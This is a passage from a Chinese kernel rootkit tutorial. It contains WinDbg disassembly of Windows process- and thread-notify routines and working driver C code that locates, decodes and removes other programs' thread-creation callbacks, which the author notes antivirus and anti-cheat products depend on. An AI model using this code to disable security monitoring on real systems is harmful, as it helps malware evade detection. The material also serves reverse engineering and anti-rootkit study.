r13fffff803`10775c6d 415c pop r12fffff803`10775c6f 5f pop rdifffff803`10775c70 c3 retnt!PspSetCreateProcessNotifyRoutine+0xad:fffff803`10775c71 e87e000000 call nt!MmVerifyCallbackFunction (fffff803`10775cf4)fffff803`10775c76 85c0 test eax,eaxfffff803`10775c78 0f84782f0b00 je nt! ?? ::NNGAKEGL::`string'+0x79ff6 (fffff803`10828bf6)nt!PspSetCreateProcessNotifyRoutine+0xba:fffff803`10775c7e 488bd7 mov rdx,rdifffff803`10775c81 e977ffffff jmp nt!PspSetCreateProcessNotifyRoutine+0x39 (fffff803`10775bfd)nt!PspSetCreateProcessNotifyRoutine+0xc2:fffff803`10775c86 f0013db7591b00 lock add dword ptr [nt!PspCreateProcessNotifyRoutineExCount (fffff803`1092b644)],edifffff803`10775c8d 8b0589541b00 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)]fffff803`10775c93 a804 test al,4fffff803`10775c95 75bb jne nt!PspSetCreateProcessNotifyRoutine+0x8e (fffff803`10775c52)nt!PspSetCreateProcessNotifyRoutine+0xd3:fffff803`10775c97 f00fba2d7c541b0002 lock bts dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)],2fffff803`10775ca0 ebb0 jmp nt!PspSetCreateProcessNotifyRoutine+0x8e (fffff803`10775c52)nt!PspSetCreateProcessNotifyRoutine+0xde:fffff803`10775ca2 f00fba2d71541b0001 lock bts dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)],1fffff803`10775cab eba5 jmp nt!PspSetCreateProcessNotifyRoutine+0x8e (fffff803`10775c52)
    Win10 32 位 PspSetCreateProcessNotifyRoutinekd> uf PspSetCreateProcessNotifyRoutinent!PspSetCreateProcessNotifyRoutine:81e1c9fe 8bff mov edi,edi81e1ca00 55 push ebp81e1ca01 8bec mov ebp,esp81e1ca03 83ec10 sub esp,10h81e1ca06 53 push ebx81e1ca07 8bd9 mov ebx,ecx81e1ca09 895df4 mov dword ptr [ebp-0Ch],ebx81e1ca0c 56 push esi81e1ca0d 57 push edi81e1ca0e 84d2 test dl,dl81e1ca10 0f85d11b0a00 jne nt! ?? ::NNGAKEGL::`string'+0x69bdb (81ebe5e7)nt!PspSetCreateProcessNotifyRoutine+0x18:81e1ca16 33ff xor edi,edi81e1ca18 385508 cmp byte ptr [ebp+8],dl81e1ca1b 7560 jne nt!PspSetCreateProcessNotifyRoutine+0x7f (81e1ca7d)nt!PspSetCreateProcessNotifyRoutine+0x1f:81e1ca1d 8bd7 mov edx,edint!PspSetCreateProcessNotifyRoutine+0x21:81e1ca1f 8bcb mov ecx,ebx81e1ca21 e89a000000 call nt!ExAllocateCallBack (81e1cac0)81e1ca26 8945f8 mov dword ptr [ebp-8],eax81e1ca29 85c0 test eax,eax81e1ca2b 0f84d81c0a00 je nt! ?? ::NNGAKEGL::`string'+0x69cfd (81ebe709)nt!PspSetCreateProcessNotifyRoutine+0x33:81e1ca31 bb30dccb81 mov ebx,offset nt!PspCreateProcessNotifyRoutine (81cbdc30)81e1ca36 8bf7 mov esi,edint!PspSetCreateProcessNotifyRoutine+0x3a:81e1ca38 57 push edi81e1ca39 8bd0 mov edx,eax81e1ca3b 8bcb mov ecx,ebx81e1ca3d e8921dd6ff call nt!ExCompareExchangeCallBack (81b7e7d4)81e1ca42 84c0 test al,al81e1ca44 7516 jne nt!PspSetCreateProcessNotifyRoutine+0x5e (81e1ca5c)nt!PspSetCreateProcessNotifyRoutine+0x48:81e1ca46 8b45f8 mov eax,dword ptr [ebp-8]81e1ca49 83c604 add esi,481e1ca4c 83c304 add ebx,481e1ca4f 81fe00010000 cmp esi,100h81e1ca55 72e1 jb nt!PspSetCreateProcessNotifyRoutine+0x3a (81e1ca38)nt!PspSetCreateProcessNotifyRoutine+0x59:81e1ca57 e9b71c0a00 jmp nt! ?? ::NNGAKEGL::`string'+0x69d07 (81ebe713)nt!PspSetCreateProcessNotifyRoutine+0x5e:81e1ca5c 807d0800 cmp byte ptr [ebp+8],081e1ca60 7529 jne nt!PspSetCreateProcessNotifyRoutine+0x8d (81e1ca8b)nt!PspSetCreateProcessNotifyRoutine+0x64:81e1ca62 f0ff05d8bdff81 lock inc dword ptr [nt!PspCreateProcessNotifyRoutineCount (81ffbdd8)]81e1ca69 a1c4bdff81 mov eax,dword ptr [nt!PspNotifyEnableMask (81ffbdc4)]81e1ca6e a802 test al,281e1ca70 7435 je nt!PspSetCreateProcessNotifyRoutine+0xa9 (81e1caa7)nt!PspSetCreateProcessNotifyRoutine+0x74:81e1ca72 33c0 xor eax,eaxnt!PspSetCreateProcessNotifyRoutine+0x76:81e1ca74 5f pop edi81e1ca75 5e pop esi81e1ca76 5b pop ebx81e1ca77 8be5 mov esp,ebp81e1ca79 5d pop ebp81e1ca7a c20400 ret 4nt!PspSetCreateProcessNotifyRoutine+0x7f:81e1ca7d e86c000000 call nt!MmVerifyCallbackFunction (81e1caee)81e1ca82 85c0 test eax,eax81e1ca84 742d je nt!PspSetCreateProcessNotifyRoutine+0xb5 (81e1cab3)nt!PspSetCreateProcessNotifyRoutine+0x88:81e1ca86 33d2 xor edx,edx81e1ca88 42 inc edx81e1ca89 eb94 jmp nt!PspSetCreateProcessNotifyRoutine+0x21 (81e1ca1f)nt!PspSetCreateProcessNotifyRoutine+0x8d:81e1ca8b f0ff05d4bdff81 lock inc dword ptr [nt!PspCreateProcessNotifyRoutineExCount (81ffbdd4)]81e1ca92 a1c4bdff81 mov eax,dword ptr [nt!PspNotifyEnableMask (81ffbdc4)]81e1ca97 a804 test al,481e1ca99 75d7 jne nt!PspSetCreateProcessNotifyRoutine+0x74 (81e1ca72)nt!PspSetCreateProcessNotifyRoutine+0x9d:81e1ca9b b8c4bdff81 mov eax,offset nt!PspNotifyEnableMask (81ffbdc4)81e1caa0 f00fba2802 lock bts dword ptr [eax],281e1caa5 ebcb jmp nt!PspSetCreateProcessNotifyRoutine+0x74 (81e1ca72)nt!PspSetCreateProcessNotifyRoutine+0xa9:81e1caa7 b8c4bdff81 mov eax,offset nt!PspNotifyEnableMask (81ffbdc4)81e1caac f00fba2801 lock bts dword ptr [eax],181e1cab1 ebbf jmp nt!PspSetCreateProcessNotifyRoutine+0x74 (81e1ca72)nt!PspSetCreateProcessNotifyRoutine+0xb5:81e1cab3 b8220000c0 mov eax,0C0000022h81e1cab8 ebba jmp nt!PspSetCreateProcessNotifyRoutine+0x76 (81e1ca74)
    Win10 64 位 PspSetCreateProcessNotifyRoutinekd> uf PspSetCreateProcessNotifyRoutinent!PspSetCreateProcessNotifyRoutine:fffff800`a09a4530 48895c2408 mov qword ptr [rsp+8],rbxfffff800`a09a4535 48896c2410 mov qword ptr [rsp+10h],rbpfffff800`a09a453a 4889742418 mov qword ptr [rsp+18h],rsifffff800`a09a453f 57 push rdifffff800`a09a4540 4154 push r12fffff800`a09a4542 4155 push r13fffff800`a09a4544 4156 push r14fffff800`a09a4546 4157 push r15fffff800`a09a4548 4883ec20 sub rsp,20hfffff800`a09a454c 8ada mov bl,dlfffff800`a09a454e 8bf2 mov esi,edxfffff800`a09a4550 d0eb shr bl,1fffff800`a09a4552 4c8be1 mov r12,rcxfffff800`a09a4555 80e301 and bl,1fffff800`a09a4558 f6c201 test dl,1fffff800`a09a455b 0f8559770900 jne nt! ?? ::NNGAKEGL::`string'+0x6752a (fffff800`a0a3bcba)nt!PspSetCreateProcessNotifyRoutine+0x31:fffff800`a09a4561 84db test bl,blfffff800`a09a4563 7573 jne nt!PspSetCreateProcessNotifyRoutine+0xa8 (fffff800`a09a45d8)nt!PspSetCreateProcessNotifyRoutine+0x35:fffff800`a09a4565 488bd6 mov rdx,rsifffff800`a09a4568 498bcc mov rcx,r12fffff800`a09a456b e8a0000000 call nt!ExAllocateCallBack (fffff800`a09a4610)fffff800`a09a4570 488bf0 mov rsi,raxfffff800`a09a4573 4885c0 test rax,raxfffff800`a09a4576 0f8400780900 je nt! ?? ::NNGAKEGL::`string'+0x675ec (fffff800`a0a3bd7c)nt!PspSetCreateProcessNotifyRoutine+0x4c:fffff800`a09a457c 33ff xor edi,edifffff800`a09a457e 4c8d3dfb0bdfff lea r15,[nt!PspCreateProcessNotifyRoutine (fffff800`a0795180)]nt!PspSetCreateProcessNotifyRoutine+0x55:fffff800`a09a4585 498d0cff lea rcx,[r15+rdi*8]fffff800`a09a4589 4533c0 xor r8d,r8dfffff800`a09a458c 488bd6 mov rdx,rsifffff800`a09a458f e8fce9bfff call nt!ExCompareExchangeCallBack (fffff800`a05a2f90)fffff800`a09a4594 84c0 test al,alfffff800`a09a4596 750c jne nt!PspSetCreateProcessNotifyRoutine+0x74 (fffff800`a09a45a4)nt!PspSetCreateProcessNotifyRoutine+0x68:fffff800`a09a4598 ffc7 inc edifffff800`a09a459a 83ff40 cmp edi,40hfffff800`a09a459d 72e6 jb nt!PspSetCreateProcessNotifyRoutine+0x55 (fffff800`a09a4585)nt!PspSetCreateProcessNotifyRoutine+0x6f:fffff800`a09a459f e9e2770900 jmp nt! ?? ::NNGAKEGL::`string'+0x675f6 (fffff800`a0a3bd86)nt!PspSetCreateProcessNotifyRoutine+0x74:fffff800`a09a45a4 84db test bl,blfffff800`a09a45a6 7540 jne nt!PspSetCreateProcessNotifyRoutine+0xb8 (fffff800`a09a45e8)nt!PspSetCreateProcessNotifyRoutine+0x78:fffff800`a09a45a8 f0ff051d481d00 lock inc dword ptr [nt!PspCreateProcessNotifyRoutineCount (fffff800`a0b78dcc)]fffff800`a09a45af 8b0583441d00 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)]fffff800`a09a45b5 a802 test al,2fffff800`a09a45b7 744b je nt!PspSetCreateProcessNotifyRoutine+0xd4 (fffff800`a09a4604)nt!PspSetCreateProcessNotifyRoutine+0x89:fffff800`a09a45b9 33c0 xor eax,eaxnt!PspSetCreateProcessNotifyRoutine+0x8b:fffff800`a09a45bb 488b5c2450 mov rbx,qword ptr [rsp+50h]fffff800`a09a45c0 488b6c2458 mov rbp,qword ptr [rsp+58h]fffff800`a09a45c5 488b742460 mov rsi,qword ptr [rsp+60h]fffff800`a09a45ca 4883c420 add rsp,20hfffff800`a09a45ce 415f pop r15fffff800`a09a45d0 415e pop r14fffff800`a09a45d2 415d pop r13fffff800`a09a45d4 415c pop r12fffff800`a09a45d6 5f pop rdifffff800`a09a45d7 c3 retnt!PspSetCreateProcessNotifyRoutine+0xa8:fffff800`a09a45d8 e837020000 call nt!MmVerifyCallbackFunction (fffff800`a09a4814)fffff800`a09a45dd 85c0 test eax,eaxfffff800`a09a45df 7584 jne nt!PspSetCreateProcessNotifyRoutine+0x35 (fffff800`a09a4565)nt!PspSetCreateProcessNotifyRoutine+0xb1:fffff800`a09a45e1 b8220000c0 mov eax,0C0000022hfffff800`a09a45e6 ebd3 jmp nt!PspSetCreateProcessNotifyRoutine+0x8b (fffff800`a09a45bb)nt!PspSetCreateProcessNotifyRoutine+0xb8:fffff800`a09a45e8 f0ff05d9471d00 lock inc dword ptr [nt!PspCreateProcessNotifyRoutineExCount (fffff800`a0b78dc8)]fffff800`a09a45ef 8b0543441d00 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)]fffff800`a09a45f5 a804 test al,4fffff800`a09a45f7 75c0 jne nt!PspSetCreateProcessNotifyRoutine+0x89 (fffff800`a09a45b9)nt!PspSetCreateProcessNotifyRoutine+0xc9:fffff800`a09a45f9 f00fba2d36441d0002 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)],2fffff800`a09a4602 ebb5 jmp nt!PspSetCreateProcessNotifyRoutine+0x89 (fffff800`a09a45b9)nt!PspSetCreateProcessNotifyRoutine+0xd4:fffff800`a09a4604 f00fba2d2b441d0001 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)],1fffff800`a09a460d ebaa jmp nt!PspSetCreateProcessNotifyRoutine+0x89 (fffff800`a09a45b9)
    Win7 32 位 PsSetCreateProcessNotifyRoutinelkd> uf PsSetCreateProcessNotifyRoutinent!PsSetCreateProcessNotifyRoutine:83fa5720 8bff mov edi,edi83fa5722 55 push ebp83fa5723 8bec mov ebp,esp83fa5725 6a00 push 083fa5727 ff750c push dword ptr [ebp+0Ch]83fa572a ff7508 push dword ptr [ebp+8]83fa572d e809000000 call nt!PspSetCreateProcessNotifyRoutine (83fa573b)83fa5732 5d pop ebp83fa5733 c20800 ret 8
    Win7 64 位 PsSetCreateProcessNotifyRoutinelkd> u PsSetCreateProcessNotifyRoutinent!PsSetCreateProcessNotifyRoutine:fffff800`042be3c0 4533c0 xor r8d,r8dfffff800`042be3c3 e9e8fdffff jmp nt!PspSetCreateProcessNotifyRoutine (fffff800`042be1b0)
    Win8.1 32 位 PsSetCreateProcessNotifyRoutinelkd> uf PsSetCreateProcessNotifyRoutinent!PsSetCreateProcessNotifyRoutine:811617d2 8bff mov edi,edi811617d4 55 push ebp811617d5 8bec mov ebp,esp811617d7 8a550c mov dl,byte ptr [ebp+0Ch]811617da 8b4d08 mov ecx,dword ptr [ebp+8]811617dd 6a00 push 0811617df e89a000000 call nt!PspSetCreateProcessNotifyRoutine (8116187e)811617e4 5d pop ebp811617e5 c20800 ret 8
    Win8.1 64 位 PsSetCreateProcessNotifyRoutinelkd> u PsSetCreateProcessNotifyRoutinent!PsSetCreateProcessNotifyRoutine:fffff803`10775b00 4533c0 xor r8d,r8dfffff803`10775b03 e9bc000000 jmp nt!PspSetCreateProcessNotifyRoutine (fffff803`10775bc4)
    Win10 32 位 PsSetCreateProcessNotifyRoutinekd> uf PsSetCreateProcessNotifyRoutinent!PsSetCreateProcessNotifyRoutine:81e1c8d4 8bff mov edi,edi81e1c8d6 55 push ebp81e1c8d7 8bec mov ebp,esp81e1c8d9 8a550c mov dl,byte ptr [ebp+0Ch]81e1c8dc 8b4d08 mov ecx,dword ptr [ebp+8]81e1c8df 6a00 push 081e1c8e1 e818010000 call nt!PspSetCreateProcessNotifyRoutine (81e1c9fe)81e1c8e6 5d pop ebp81e1c8e7 c20800 ret 8
    Win10 64 位 PsSetCreateProcessNotifyRoutinekd> u PsSetCreateProcessNotifyRoutinent!PsSetCreateProcessNotifyRoutine:fffff800`a09a4460 33c0 xor eax,eaxfffff800`a09a4462 84d2 test dl,dlfffff800`a09a4464 448d4001 lea r8d,[rax+1]fffff800`a09a4468 410f45c0 cmovne eax,r8dfffff800`a09a446c 8bd0 mov edx,eaxfffff800`a09a446e e9bd000000 jmp nt!PspSetCreateProcessNotifyRoutine (fffff800`a09a4530)
    3  留言 2019-03-16 10:05:02
  • 枚举并删除系统上PsSetCreateThreadNotifyRoutine回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 PsSetCreateThreadNotifyRoutine 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    实现原理我们注册的线程回调,会存储在一个名为 PspCreateThreadNotifyRoutine 的数组里。 PspCreateThreadNotifyRoutine 可以理解成一个 PVOID 数组,它存储着系统里所有 PsSetCreateThreadNotifyRoutine 线程回调函数地址的加密地址。PspCreateThreadNotifyRoutine数组里的数据是加密的,要经过解密操作才可以获取正确的数据。
    PspCreateThreadNotifyRoutine 数组地址的获取我们借助 WinDbg 帮助我们逆向 PsSetCreateThreadNotifyRoutine 内核函数,在 Win10 之前的系统,即 Win7、Win8、Win8.1等系统下,我们可以直接通过在内核函数 PsSetCreateThreadNotifyRoutine 中扫描内存特征码,在 32 位系统下,可以直接定位得到数组 PspCreateThreadNotifyRoutine 的地址;在 64 位下,可以获取数组 PspCreateThreadNotifyRoutine 的偏移,从而根据偏移计算出地址。
    其中,Win8.1 32 位下 PsSetCreateThreadNotifyRoutine 函数逆向代码:
    nt!PsSetCreateThreadNotifyRoutine+0x16:8116e54e 53 push ebx8116e54f 57 push edi8116e550 bbc8640181 mov ebx,offset nt!PspCreateThreadNotifyRoutine (810164c8)8116e555 33ff xor edi,edi
    其中,Win8.1 64 位下 PsSetCreateThreadNotifyRoutine 函数逆向代码:
    nt!PsSetCreateThreadNotifyRoutine+0x1f:fffff800`c0ba5d13 488d0de6fedbff lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff800`c0965c00)]fffff800`c0ba5d1a 4533c0 xor r8d,r8d
    下面是总结的特征码:




    Win7
    win8.1
    win10




    32 位
    BE
    BB
    E8/BF


    64 位
    488D0D
    488D0D
    E9/488D0D



    但是,在 Win10 系统上,我们需要先在 PsSetCreateThreadNotifyRoutine 函数中获取 PspSetCreateThreadNotifyRoutine 函数的偏移,再计算出地址;然后,根据内存特征码扫描 PspSetCreateThreadNotifyRoutine 函数的内存,在 32 位系统下,可直接获取 PspCreateThreadNotifyRoutine 数组的地址;在 64 位系统下,可以获取 PspCreateThreadNotifyRoutine 数组的偏移,然后计算出地址。
    其中,Win10 64 位下 PsSetCreateThreadNotifyRoutine 函数逆向代码:
    nt!PsSetCreateThreadNotifyRoutine:fffff803`1bd332cc 33d2 xor edx,edxfffff803`1bd332ce e905010000 jmp nt!PspSetCreateThreadNotifyRoutine (fffff803`1bd333d8)
    其中,Win10 64 位下 PspSetCreateThreadNotifyRoutine 函数逆向代码:
    nt!PspSetCreateThreadNotifyRoutine+0x2d:fffff803`1bd33405 488d0d740bdfff lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff803`1bb23f80)]fffff803`1bd3340c 4533c0 xor r8d,r8d
    总的来说,在 Win10 版本之前,直接通过扫描 PsSetCreateProcessNotifyRoutine 函数内存,就可获取 PspCreateProcessNotifyRoutine 地址;在 Win10 下获取 PspCreateProcessNotifyRoutine 地址可以分成两步:

    首先,通过扫描特征码,从 PsSetCreateProcessNotifyRoutine 函数中获取 PspSetCreateProcessNotifyRoutine 函数的地址。
    然后,通过扫描特征码,从 PspSetCreateProcessNotifyRoutine 函数中获取 PspCreateProcessNotifyRoutine 数组的地址。

    那么,特征码的确定就变得至关重要了。
    PspCreateThreadNotifyRoutine 里数据的解密我们上面说,PspCreateThreadNotifyRoutine 里的数据是加密的,在 64 位系统和 32 位系统上的加密方式是不相同的,自然解密方式也不同。现在,我们分别介绍 32 位系统和 64 位系统下的解密方式。
    对于 32 位系统来说:PspCreateThreadNotifyRoutine 是一个 4 字节无符号类型的数组,数组大小最大为 8。我们使用 PspCreateThreadNotifyRoutine[i] 表示数组中的值,那么,32 位系统下的解密方式为:

    首先,数组的值 PspCreateThreadNotifyRoutine[i] 位运算“与” 0xFFFFFFF8。
    然后,“与”运算之后的结果值再加上 4,结果就是一个存储着回调函数地址的地址。

    对于 64 位系统来说:PspCreateThreadNotifyRoutine 是一个 8 字节无符号类型的数组,数组大小最大为 64。我们使用 PspCreateThreadNotifyRoutine[i] 表示数组中的值,那么,64 位系统下的解密方式为:
    数组的值 PspCreateThreadNotifyRoutine[i] 位运算“与” 0xFFFFFFFFFFFFFFF8,结果就是一个存储着回调函数地址的地址。
    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。那么,要删除回调函数可以有 3 种方式:

    可以直接调用 PsRemoveCreateThreadNotifyRoutine 函数,传入回调函数地址,即可删除回调。
    修改 PspCreateThreadNotifyRoutine 数组中的数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数。
    修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作。

    编码实现遍历回调// 遍历回调BOOLEAN EnumNotifyRoutine(){ ULONG i = 0; PVOID pPspCreateThreadNotifyRoutineAddress = NULL; PVOID pNotifyRoutineAddress = NULL; // 获取 PspCreateThreadNotifyRoutine 数组地址 pPspCreateThreadNotifyRoutineAddress = GetPspCreateThreadNotifyRoutine(); if (NULL == pPspCreateThreadNotifyRoutineAddress) { DbgPrint("GetPspCreateThreadNotifyRoutine Error!\n"); return FALSE; } DbgPrint("pPspCreateThreadNotifyRoutineAddress=0x%p\n", pPspCreateThreadNotifyRoutineAddress); // 获取回调地址并解密#ifdef _WIN64 for (i = 0; i < 64; i++) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateThreadNotifyRoutineAddress + sizeof(PVOID) * i); pNotifyRoutineAddress = (PVOID)((ULONG64)pNotifyRoutineAddress & 0xfffffffffffffff8); if (MmIsAddressValid(pNotifyRoutineAddress)) { pNotifyRoutineAddress = *(PVOID *)pNotifyRoutineAddress; DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); } }#else for (i = 0; i < 8; i++) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateThreadNotifyRoutineAddress + sizeof(PVOID) * i); pNotifyRoutineAddress = (PVOID)((ULONG)pNotifyRoutineAddress & 0xfffffff8); if (MmIsAddressValid(pNotifyRoutineAddress)) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pNotifyRoutineAddress + 4); DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); } }#endif return TRUE;}
    移除回调// 移除回调NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress){ NTSTATUS status = PsRemoveCreateThreadNotifyRoutine((PCREATE_THREAD_NOTIFY_ROUTINE)pNotifyRoutineAddress); if (!NT_SUCCESS(status)) { ShowError("PsRemoveCreateThreadNotifyRoutine", status); } return status;}
    获取 PspCreateThreadNotifyRoutine 数组地址// 获取 PspCreateThreadNotifyRoutine 数组地址PVOID GetPspCreateThreadNotifyRoutine(){ PVOID pPspCreateThreadNotifyRoutineAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pFirstSpecialData[50] = { 0 }; ULONG ulFirstSpecialDataSize = 0; UCHAR pSecondSpecialData[50] = { 0 }; ULONG ulSecondSpecialDataSize = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // 488D0D pFirstSpecialData[0] = 0x48; pFirstSpecialData[1] = 0x8D; pFirstSpecialData[2] = 0x0D; ulFirstSpecialDataSize = 3;#else // 32 位 // BE pFirstSpecialData[0] = 0xBE; ulFirstSpecialDataSize = 1;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // 488D0D pFirstSpecialData[0] = 0x48; pFirstSpecialData[1] = 0x8D; pFirstSpecialData[2] = 0x0D; ulFirstSpecialDataSize = 3;#else // 32 位 // BB pFirstSpecialData[0] = 0xBB; ulFirstSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // E9 pFirstSpecialData[0] = 0xE9; ulFirstSpecialDataSize = 1; // 488D0D pSecondSpecialData[0] = 0x48; pSecondSpecialData[1] = 0x8D; pSecondSpecialData[2] = 0x0D; ulSecondSpecialDataSize = 3;#else // 32 位 // E8 pFirstSpecialData[0] = 0xE8; ulFirstSpecialDataSize = 1; // BF pSecondSpecialData[0] = 0xBF; ulSecondSpecialDataSize = 1;#endif } // 根据特征码获取地址 pPspCreateThreadNotifyRoutineAddress = SearchPspCreateThreadNotifyRoutine(pFirstSpecialData, ulFirstSpecialDataSize, pSecondSpecialData, ulSecondSpecialDataSize); return pPspCreateThreadNotifyRoutineAddress;}
    根据特征码获取 PspCreateThreadNotifyRoutine 数组地址// 根据特征码获取 PspCreateThreadNotifyRoutine 数组地址PVOID SearchPspCreateThreadNotifyRoutine(PUCHAR pFirstSpecialData, ULONG ulFirstSpecialDataSize, PUCHAR pSecondSpecialData, ULONG ulSecondSpecialDataSize){ UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pPsSetCreateThreadNotifyRoutine = NULL; PVOID pPspSetCreateThreadNotifyRoutineAddress = NULL; PVOID pPspCreateThreadNotifyRoutineAddress = NULL; // 先获取 PsSetCreateThreadNotifyRoutine 函数地址 RtlInitUnicodeString(&ustrFuncName, L"PsSetCreateThreadNotifyRoutine"); pPsSetCreateThreadNotifyRoutine = MmGetSystemRoutineAddress(&ustrFuncName); if (NULL == pPsSetCreateThreadNotifyRoutine) { ShowError("MmGetSystemRoutineAddress", 0); return pPspCreateThreadNotifyRoutineAddress; } // 然后, 对于非 Win10 系统, 则根据第一个特征码获取 PspCreateThreadNotifyRoutine 地址; // 对于 Win10 系统, 则需先根据第一个特征码获取获取 PspSetCreateThreadNotifyRoutine 地址, // 再根据第二个特征码获取 PspCreateThreadNotifyRoutine 地址. pAddress = SearchMemory(pPsSetCreateThreadNotifyRoutine, (PVOID)((PUCHAR)pPsSetCreateThreadNotifyRoutine + 0xFF), pFirstSpecialData, ulFirstSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory1", 0); return pPspCreateThreadNotifyRoutineAddress; } // 无第二个特征码, 则非 Win10 系统 if (0 == ulSecondSpecialDataSize) { // 获取 PspCreateThreadNotifyRoutine 地址#ifdef _WIN64 // 64 位 // 获取偏移数据, 并计算地址 lOffset = *(PLONG)pAddress; pPspCreateThreadNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset);#else // 32 位 pPspCreateThreadNotifyRoutineAddress = *(PVOID *)pAddress;#endif // 直接返回 return pPspCreateThreadNotifyRoutineAddress; } // 存在第二个特征码, 即 Win10 系统 // 获取偏移数据, 并计算地址 lOffset = *(PLONG)pAddress; pPspSetCreateThreadNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); // 最后, 查找 PspCreateThreadNotifyRoutine 地址 pAddress = SearchMemory(pPspSetCreateThreadNotifyRoutineAddress, (PVOID)((PUCHAR)pPspSetCreateThreadNotifyRoutineAddress + 0xFF), pSecondSpecialData, ulSecondSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory2", 0); return pPspCreateThreadNotifyRoutineAddress; } // 获取 PspCreateThreadNotifyRoutine 地址#ifdef _WIN64 // 64 位先获取偏移, 再计算地址 lOffset = *(PLONG)pAddress; pPspCreateThreadNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset);#else // 32 位直接获取地址 pPspCreateThreadNotifyRoutineAddress = *(PVOID *)pAddress;#endif return pPspCreateThreadNotifyRoutineAddress;}
    指定内存区域的特征码扫描// 指定内存区域的特征码扫描PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize){ PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) { // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) { if (*(PUCHAR)(i + m) != pMemoryData[m]) { break; } } // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) { // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; } } return pAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结要理解清楚获取 PspCreateThreadNotifyRoutine 地址的流程,其中,不同系统的内存特征码是不同的,要注意区分。大家也不用记忆这些特征码,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    而且,不同位数系统中,对 PspCreateThreadNotifyRoutine 数组中的值解密方式也不相同,这个需要区分开来。
    删除回调常用就有 3 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    附录Win7 32 位 PsSetCreateThreadNotifyRoutinelkd> uf PsSetCreateThreadNotifyRoutinent!PsSetCreateThreadNotifyRoutine:840f1dab 8bff mov edi,edi840f1dad 55 push ebp840f1dae 8bec mov ebp,esp840f1db0 53 push ebx840f1db1 57 push edi840f1db2 33ff xor edi,edi840f1db4 57 push edi840f1db5 ff7508 push dword ptr [ebp+8]840f1db8 e85c38ebff call nt!ExAllocateCallBack (83fa5619)840f1dbd 8bd8 mov ebx,eax840f1dbf 3bdf cmp ebx,edi840f1dc1 7507 jne nt!PsSetCreateThreadNotifyRoutine+0x1f (840f1dca)nt!PsSetCreateThreadNotifyRoutine+0x18:840f1dc3 b89a0000c0 mov eax,0C000009Ah840f1dc8 eb2f jmp nt!PsSetCreateThreadNotifyRoutine+0x4e (840f1df9)nt!PsSetCreateThreadNotifyRoutine+0x1f:840f1dca 56 push esi840f1dcb bec031f583 mov esi,offset nt!PspCreateThreadNotifyRoutine (83f531c0)nt!PsSetCreateThreadNotifyRoutine+0x25:840f1dd0 6a00 push 0840f1dd2 8bcb mov ecx,ebx840f1dd4 8bc6 mov eax,esi840f1dd6 e86d38ebff call nt!ExCompareExchangeCallBack (83fa5648)840f1ddb 84c0 test al,al840f1ddd 7520 jne nt!PsSetCreateThreadNotifyRoutine+0x54 (840f1dff)nt!PsSetCreateThreadNotifyRoutine+0x34:840f1ddf 83c704 add edi,4840f1de2 83c604 add esi,4840f1de5 81ff00010000 cmp edi,100h840f1deb 72e3 jb 